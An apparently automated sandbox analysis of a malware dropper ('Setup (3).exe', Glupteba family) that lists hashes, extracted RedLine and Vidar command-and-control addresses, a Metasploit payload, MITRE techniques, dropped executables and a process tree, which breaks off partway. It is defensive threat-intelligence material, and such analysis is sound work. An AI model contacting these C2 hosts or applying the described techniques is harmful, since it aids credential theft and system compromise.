glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (3).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Family

redline

Botnet

supertraff

135.148.139.222:1494

Extracted

Family

redline

Botnet

dibild2

135.148.139.222:1494

Extracted

Family

redline

Botnet

195.2.78.163:25450

Extracted

Family

redline

Botnet

24.08

95.181.172.100:55640

Extracted

Family

vidar

Version

40.1

Botnet

937

https://eduarroma.tumblr.com/

Attributes

profile_id
937

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 1 IoCs

resource	yara_rule
behavioral23/memory/2696-378-0x0000000005230000-0x0000000005B56000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5672	4544	rundll32.exe	128
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6416	4544	rundll32.exe	128
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9804	4544	rundll32.exe	128
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4016	4544	rundll32.exe	128

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 8 IoCs

resource	yara_rule
behavioral23/files/0x000100000001ab89-183.dat	family_redline
behavioral23/files/0x000100000001ab89-140.dat	family_redline
behavioral23/memory/4120-295-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral23/memory/4120-299-0x000000000041A616-mapping.dmp	family_redline
behavioral23/memory/4120-332-0x00000000056C0000-0x0000000005CC6000-memory.dmp	family_redline
behavioral23/memory/2844-301-0x0000000000F30000-0x0000000000F4B000-memory.dmp	family_redline
behavioral23/memory/4364-306-0x000000000041A76A-mapping.dmp	family_redline
behavioral23/memory/4364-300-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral23/memory/3276-367-0x0000000002E70000-0x0000000002F0D000-memory.dmp	family_vidar
behavioral23/memory/3276-382-0x0000000000400000-0x0000000002D1A000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 32 IoCs

pid	Process
184	J8zklQGm41HLBzN6lo9QoCxP.exe
2648	MjBnu6M3zvy_3ECmuVsoQk5a.exe
1556	N8bjTrnz9NTEI6SIAfWLSqPj.exe
2696	SRm62YZQrDHleSbwZIKfbvnx.exe
2844	ADHcy44K0ApF6cMEGpkA3cNN.exe
2448	id_H6z9XqurYoeY5OdGzQi7M.exe
3980	TbgdvOwPhk2QR9lcAd7FD02O.exe
2736	YdcTcGHg1ADg85I838tljk7T.exe
1580	CDLZVrUaVp4YVmypntsD4WsF.exe
2312	7_sQ9ztsp0u4lXoJ2NXgIof7.exe
3276	DejdBqXdB6gINBU938S6EQxj.exe
3480	wXGk94iPJr2Ikj1_qGkhwEpH.exe
2092	FaXFNxXkXkYrMFn8WzUGBuAF.exe
748	FlcudmvkDUbtbt3t958L_EBp.exe
2236	Gk5Pj8hsUDNLarsL0S4nKteg.exe
852	Qx7gdQTN95HYE01efafrkybZ.exe
848	EE8wO27W2URWE24kLbz534Tq.exe
944	wq59V2f4aLmYc2pNSJBddGBZ.exe
736	imnJqNCKqtnJ0H5aawNCzZTY.exe
3784	DZ_nUHeLDRnLljomhIn9zeP9.exe
3660	WerFault.exe
4080	MdsGwXIxjqpjA5f32VkUNxw5.exe
3288	y22xJuNwCBLbFp87x7pFQu3E.exe
4232	Conhost.exe
4472	customer3.exe
4508	4900.exe
4560	jooyu.exe
4580	NDefALUu7hN5GyXJtSp3sHUy.tmp
4200	y22xJuNwCBLbFp87x7pFQu3E.exe
4120	YdcTcGHg1ADg85I838tljk7T.exe
4364	FlcudmvkDUbtbt3t958L_EBp.exe
4776	WO~L~OYJWS8EVL1.eXe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	id_H6z9XqurYoeY5OdGzQi7M.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	id_H6z9XqurYoeY5OdGzQi7M.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wXGk94iPJr2Ikj1_qGkhwEpH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wXGk94iPJr2Ikj1_qGkhwEpH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CDLZVrUaVp4YVmypntsD4WsF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CDLZVrUaVp4YVmypntsD4WsF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MdsGwXIxjqpjA5f32VkUNxw5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MdsGwXIxjqpjA5f32VkUNxw5.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (3).exe

Loads dropped DLL 3 IoCs

pid	Process
2844	ADHcy44K0ApF6cMEGpkA3cNN.exe
4580	NDefALUu7hN5GyXJtSp3sHUy.tmp
4580	NDefALUu7hN5GyXJtSp3sHUy.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral23/files/0x000100000001ab9a-151.dat	themida
behavioral23/files/0x000100000001ab9a-184.dat	themida
behavioral23/files/0x000100000001ab85-185.dat	themida
behavioral23/files/0x000100000001ab94-156.dat	themida
behavioral23/files/0x000100000001ab85-146.dat	themida
behavioral23/files/0x000100000001abaf-173.dat	themida
behavioral23/files/0x000100000001abaf-193.dat	themida
behavioral23/memory/1580-257-0x0000000000EF0000-0x0000000000EF1000-memory.dmp	themida
behavioral23/files/0x000100000001ab94-198.dat	themida
behavioral23/memory/2448-258-0x0000000000F90000-0x0000000000F91000-memory.dmp	themida
behavioral23/memory/4080-264-0x0000000000C00000-0x0000000000C01000-memory.dmp	themida
behavioral23/memory/3480-262-0x0000000000D80000-0x0000000000D81000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wXGk94iPJr2Ikj1_qGkhwEpH.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	id_H6z9XqurYoeY5OdGzQi7M.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CDLZVrUaVp4YVmypntsD4WsF.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MdsGwXIxjqpjA5f32VkUNxw5.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 20 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ipinfo.io
144	ipinfo.io
202	freegeoip.app
248	ipinfo.io
546	geoiptool.com
29	ipinfo.io
210	freegeoip.app
225	ipinfo.io
228	ipinfo.io
411	ip-api.com
414	ipinfo.io
142	ipinfo.io
145	ip-api.com
222	ipinfo.io
420	ipinfo.io
600	freegeoip.app
601	freegeoip.app
198	freegeoip.app
206	freegeoip.app
246	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3480	wXGk94iPJr2Ikj1_qGkhwEpH.exe
1580	CDLZVrUaVp4YVmypntsD4WsF.exe
2448	id_H6z9XqurYoeY5OdGzQi7M.exe
4080	MdsGwXIxjqpjA5f32VkUNxw5.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 4120	2736	YdcTcGHg1ADg85I838tljk7T.exe	118
PID 748 set thread context of 4364	748	FlcudmvkDUbtbt3t958L_EBp.exe	121

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	Qx7gdQTN95HYE01efafrkybZ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	Qx7gdQTN95HYE01efafrkybZ.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	Qx7gdQTN95HYE01efafrkybZ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	Qx7gdQTN95HYE01efafrkybZ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	Qx7gdQTN95HYE01efafrkybZ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 42 IoCs

pid	pid_target	Process	procid_target
4348	3784	WerFault.exe	96
3636	3784	WerFault.exe	96
3636	3784	WerFault.exe	96
5376	3784	WerFault.exe	96
4604	3276	WerFault.exe	87
1560	2696	WerFault.exe	79
5348	3276	WerFault.exe	87
6108	3276	WerFault.exe	87
5924	2696	WerFault.exe	79
5820	3784	WerFault.exe	96
5236	3276	WerFault.exe	87
5972	2696	WerFault.exe	79
4388	3276	WerFault.exe	87
4216	3276	WerFault.exe	87
4940	2696	WerFault.exe	79
5268	3276	WerFault.exe	87
4556	2696	WerFault.exe	79
4224	3276	WerFault.exe	87
2104	3276	WerFault.exe	87
5236	2696	WerFault.exe	79
6280	5624	WerFault.exe	140
6620	5624	WerFault.exe	140
6700	2696	WerFault.exe	79
6912	5624	WerFault.exe	140
7024	3276	WerFault.exe	87
7132	5624	WerFault.exe	140
7160	2696	WerFault.exe	79
5256	5624	WerFault.exe	140
3636	5624	WerFault.exe	140
6964	5624	WerFault.exe	140
3660	3276	WerFault.exe	87
5212	5624	WerFault.exe	140
6620	3276	WerFault.exe	87
5468	5624	WerFault.exe	140
6504	5624	WerFault.exe	140
5732	5624	WerFault.exe	140
7324	5624	WerFault.exe	140
5416	8048	WerFault.exe	286
2176	7576	WerFault.exe	267
6240	7576	WerFault.exe	267
6340	7576	WerFault.exe	267
8580	7468	WerFault.exe	262

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
9620	schtasks.exe
1900	schtasks.exe
11068	schtasks.exe
10280	schtasks.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
3944	vssadmin.exe
10336	vssadmin.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
8876	taskkill.exe
8300	taskkill.exe
5392	taskkill.exe
10020	taskkill.exe
3876	taskkill.exe
6580	taskkill.exe
908	taskkill.exe
7928	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Setup (3).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Setup (3).exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
5876	PING.EXE
7712	PING.EXE
5792	PING.EXE

Script User-Agent 8 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	148	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	216	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	223	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	227	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	415	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	430	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	143	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	144	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
3688	Setup (3).exe
3688	Setup (3).exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
4348	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	ADHcy44K0ApF6cMEGpkA3cNN.exe
Token: SeDebugPrivilege	2312	7_sQ9ztsp0u4lXoJ2NXgIof7.exe
Token: SeDebugPrivilege	184	J8zklQGm41HLBzN6lo9QoCxP.exe
Token: SeRestorePrivilege	4348	WerFault.exe
Token: SeBackupPrivilege	4348	WerFault.exe
Token: SeDebugPrivilege	4364	FlcudmvkDUbtbt3t958L_EBp.exe
Token: SeDebugPrivilege	4348	WerFault.exe
Token: SeDebugPrivilege	1556	N8bjTrnz9NTEI6SIAfWLSqPj.exe
Token: SeDebugPrivilege	4080	MdsGwXIxjqpjA5f32VkUNxw5.exe
Token: SeDebugPrivilege	3636	WerFault.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4580	NDefALUu7hN5GyXJtSp3sHUy.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 2844	3688	Setup (3).exe	85
PID 3688 wrote to memory of 2844	3688	Setup (3).exe	85
PID 3688 wrote to memory of 2648	3688	Setup (3).exe	84
PID 3688 wrote to memory of 2648	3688	Setup (3).exe	84
PID 3688 wrote to memory of 1556	3688	Setup (3).exe	81
PID 3688 wrote to memory of 1556	3688	Setup (3).exe	81
PID 3688 wrote to memory of 1556	3688	Setup (3).exe	81
PID 3688 wrote to memory of 184	3688	Setup (3).exe	82
PID 3688 wrote to memory of 184	3688	Setup (3).exe	82
PID 3688 wrote to memory of 2696	3688	Setup (3).exe	79
PID 3688 wrote to memory of 2696	3688	Setup (3).exe	79
PID 3688 wrote to memory of 2696	3688	Setup (3).exe	79
PID 3688 wrote to memory of 2448	3688	Setup (3).exe	80
PID 3688 wrote to memory of 2448	3688	Setup (3).exe	80
PID 3688 wrote to memory of 2448	3688	Setup (3).exe	80
PID 3688 wrote to memory of 3980	3688	Setup (3).exe	83
PID 3688 wrote to memory of 3980	3688	Setup (3).exe	83
PID 3688 wrote to memory of 3980	3688	Setup (3).exe	83
PID 3688 wrote to memory of 2736	3688	Setup (3).exe	86
PID 3688 wrote to memory of 2736	3688	Setup (3).exe	86
PID 3688 wrote to memory of 2736	3688	Setup (3).exe	86
PID 3688 wrote to memory of 3276	3688	Setup (3).exe	87
PID 3688 wrote to memory of 3276	3688	Setup (3).exe	87
PID 3688 wrote to memory of 3276	3688	Setup (3).exe	87
PID 3688 wrote to memory of 1580	3688	Setup (3).exe	91
PID 3688 wrote to memory of 1580	3688	Setup (3).exe	91
PID 3688 wrote to memory of 1580	3688	Setup (3).exe	91
PID 3688 wrote to memory of 2312	3688	Setup (3).exe	103
PID 3688 wrote to memory of 2312	3688	Setup (3).exe	103
PID 3688 wrote to memory of 2312	3688	Setup (3).exe	103
PID 3688 wrote to memory of 3480	3688	Setup (3).exe	89
PID 3688 wrote to memory of 3480	3688	Setup (3).exe	89
PID 3688 wrote to memory of 3480	3688	Setup (3).exe	89
PID 3688 wrote to memory of 748	3688	Setup (3).exe	88
PID 3688 wrote to memory of 748	3688	Setup (3).exe	88
PID 3688 wrote to memory of 748	3688	Setup (3).exe	88
PID 3688 wrote to memory of 2092	3688	Setup (3).exe	90
PID 3688 wrote to memory of 2092	3688	Setup (3).exe	90
PID 3688 wrote to memory of 2092	3688	Setup (3).exe	90
PID 3688 wrote to memory of 2236	3688	Setup (3).exe	102
PID 3688 wrote to memory of 2236	3688	Setup (3).exe	102
PID 3688 wrote to memory of 2236	3688	Setup (3).exe	102
PID 3688 wrote to memory of 848	3688	Setup (3).exe	101
PID 3688 wrote to memory of 848	3688	Setup (3).exe	101
PID 3688 wrote to memory of 848	3688	Setup (3).exe	101
PID 3688 wrote to memory of 852	3688	Setup (3).exe	99
PID 3688 wrote to memory of 852	3688	Setup (3).exe	99
PID 3688 wrote to memory of 852	3688	Setup (3).exe	99
PID 3688 wrote to memory of 944	3688	Setup (3).exe	100
PID 3688 wrote to memory of 944	3688	Setup (3).exe	100
PID 3688 wrote to memory of 944	3688	Setup (3).exe	100
PID 3688 wrote to memory of 736	3688	Setup (3).exe	98
PID 3688 wrote to memory of 736	3688	Setup (3).exe	98
PID 3688 wrote to memory of 736	3688	Setup (3).exe	98
PID 3688 wrote to memory of 3660	3688	Setup (3).exe	234
PID 3688 wrote to memory of 3660	3688	Setup (3).exe	234
PID 3688 wrote to memory of 3660	3688	Setup (3).exe	234
PID 3688 wrote to memory of 3784	3688	Setup (3).exe	96
PID 3688 wrote to memory of 3784	3688	Setup (3).exe	96
PID 3688 wrote to memory of 3784	3688	Setup (3).exe	96
PID 3688 wrote to memory of 4080	3688	Setup (3).exe	94
PID 3688 wrote to memory of 4080	3688	Setup (3).exe	94
PID 3688 wrote to memory of 4080	3688	Setup (3).exe	94
PID 3688 wrote to memory of 3288	3688	Setup (3).exe	92

C:\Users\Admin\AppData\Local\Temp\Setup (3).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (3).exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Users\Admin\Documents\SRm62YZQrDHleSbwZIKfbvnx.exe
  "C:\Users\Admin\Documents\SRm62YZQrDHleSbwZIKfbvnx.exe"
  2⤵
  - Executes dropped EXE
  PID:2696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 392
    3⤵
    - Program crash
    PID:1560
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 376
    3⤵
    - Program crash
    PID:5924
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 404
    3⤵
    - Program crash
    PID:5972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 596
    3⤵
    - Program crash
    PID:4940
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 660
    3⤵
    - Program crash
    PID:4556
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 716
    3⤵
    - Program crash
    PID:5236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 576
    3⤵
    - Program crash
    PID:6700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2696 -s 676
    3⤵
    - Program crash
    PID:7160
- - C:\Users\Admin\Documents\SRm62YZQrDHleSbwZIKfbvnx.exe
    "C:\Users\Admin\Documents\SRm62YZQrDHleSbwZIKfbvnx.exe"
    3⤵
    PID:8412
- C:\Users\Admin\Documents\id_H6z9XqurYoeY5OdGzQi7M.exe
  "C:\Users\Admin\Documents\id_H6z9XqurYoeY5OdGzQi7M.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2448
- C:\Users\Admin\Documents\N8bjTrnz9NTEI6SIAfWLSqPj.exe
  "C:\Users\Admin\Documents\N8bjTrnz9NTEI6SIAfWLSqPj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1556
- C:\Users\Admin\Documents\J8zklQGm41HLBzN6lo9QoCxP.exe
  "C:\Users\Admin\Documents\J8zklQGm41HLBzN6lo9QoCxP.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:184
- - C:\Users\Admin\AppData\Roaming\1219456.exe
    "C:\Users\Admin\AppData\Roaming\1219456.exe"
    3⤵
    PID:5384
- - C:\Users\Admin\AppData\Roaming\5887679.exe
    "C:\Users\Admin\AppData\Roaming\5887679.exe"
    3⤵
    PID:5420
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:5764
- - C:\Users\Admin\AppData\Roaming\8592551.exe
    "C:\Users\Admin\AppData\Roaming\8592551.exe"
    3⤵
    PID:5596
- - C:\Users\Admin\AppData\Roaming\7336420.exe
    "C:\Users\Admin\AppData\Roaming\7336420.exe"
    3⤵
    PID:5508
- C:\Users\Admin\Documents\TbgdvOwPhk2QR9lcAd7FD02O.exe
  "C:\Users\Admin\Documents\TbgdvOwPhk2QR9lcAd7FD02O.exe"
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Users\Admin\Documents\MjBnu6M3zvy_3ECmuVsoQk5a.exe
  "C:\Users\Admin\Documents\MjBnu6M3zvy_3ECmuVsoQk5a.exe"
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Users\Admin\Documents\ADHcy44K0ApF6cMEGpkA3cNN.exe
  "C:\Users\Admin\Documents\ADHcy44K0ApF6cMEGpkA3cNN.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Users\Admin\Documents\YdcTcGHg1ADg85I838tljk7T.exe
  "C:\Users\Admin\Documents\YdcTcGHg1ADg85I838tljk7T.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2736
- - C:\Users\Admin\Documents\YdcTcGHg1ADg85I838tljk7T.exe
    C:\Users\Admin\Documents\YdcTcGHg1ADg85I838tljk7T.exe
    3⤵
    - Executes dropped EXE
    PID:4120
- C:\Users\Admin\Documents\DejdBqXdB6gINBU938S6EQxj.exe
  "C:\Users\Admin\Documents\DejdBqXdB6gINBU938S6EQxj.exe"
  2⤵
  - Executes dropped EXE
  PID:3276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 760
    3⤵
    - Program crash
    PID:4604
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 792
    3⤵
    - Program crash
    PID:5348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 796
    3⤵
    - Program crash
    PID:6108
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 824
    3⤵
    - Program crash
    PID:5236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 956
    3⤵
    - Program crash
    PID:4388
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 984
    3⤵
    - Program crash
    PID:4216
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 1020
    3⤵
    - Program crash
    PID:5268
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 1352
    3⤵
    - Program crash
    PID:4224
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 1304
    3⤵
    - Program crash
    PID:2104
- - C:\Windows\SysWOW64\WerFault.exe
